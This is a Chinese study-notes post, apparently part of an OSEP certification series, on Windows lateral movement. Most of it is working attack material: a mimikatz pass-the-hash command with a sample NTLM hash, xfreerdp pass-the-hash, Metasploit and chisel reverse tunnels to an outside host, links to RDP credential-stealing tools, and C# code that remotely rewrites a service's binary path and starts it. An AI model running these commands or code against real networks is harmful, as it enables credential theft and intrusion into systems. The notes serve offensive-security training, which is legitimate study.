关于笔记形式和学习方法请看OSEP学习之路 | 开篇
本篇是第七部分“Windows横向移动”技术,主要包括RDP协议的一些用法以及利用sc的无文件修改服务的方式进行横向移动
1-MSTSC
使用mimikatz做PTH到mstsc
sekurlsa::pth /user:admin /domain:corp1
/ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:"mstsc.exe /restrictedadmin"
xfreerdp
xfreerdp /v:<host> /u:<username> /pth:<hash>
2-tunneling
使用MSF
run autoroute -s 192.168.1.0/24
portfwd add -r <rhost> -l <listen_port> -p <rport>
use auxiliary/server/socks_proxy
NPS
./npc -server xxx.xxx.xxx.xxx:xxxx -vkey xxxx
chisel
chisel server -p 8000 --reverse
chisel client 10.10.14.3:8000 R:80:127.0.0.1:80
chisel client 10.10.14.3:8000 R:socks
2-命令行RDP
https://github.com/0xthirteen/SharpRDP
3-RDP小偷
https://github.com/0x09AL/RdpThief
https://github.com/S3cur3Th1sSh1t/RDPThiefInject
4-无文件横向
使用ChangeServiceConfigA
using System;
using System.Runtime.InteropServices;
namespace lat_m13
{
class Program
{
[ ]
public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);
[ ]
static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);
[ ]
[ ]
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);
[ ]
[ ]
public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);
static void Main(string[] args)
{
String target = "hfdc";
IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);
string ServiceName = "SensorService";
IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);
string payload = "notepad.exe";
bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null,
null, null, null, null);
bResult = StartService(schService, 0, null);
}
}
}
坚持自律做最好的自己
原文始发于微信公众号(高级红队专家):OSEP | Windows横向移动
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论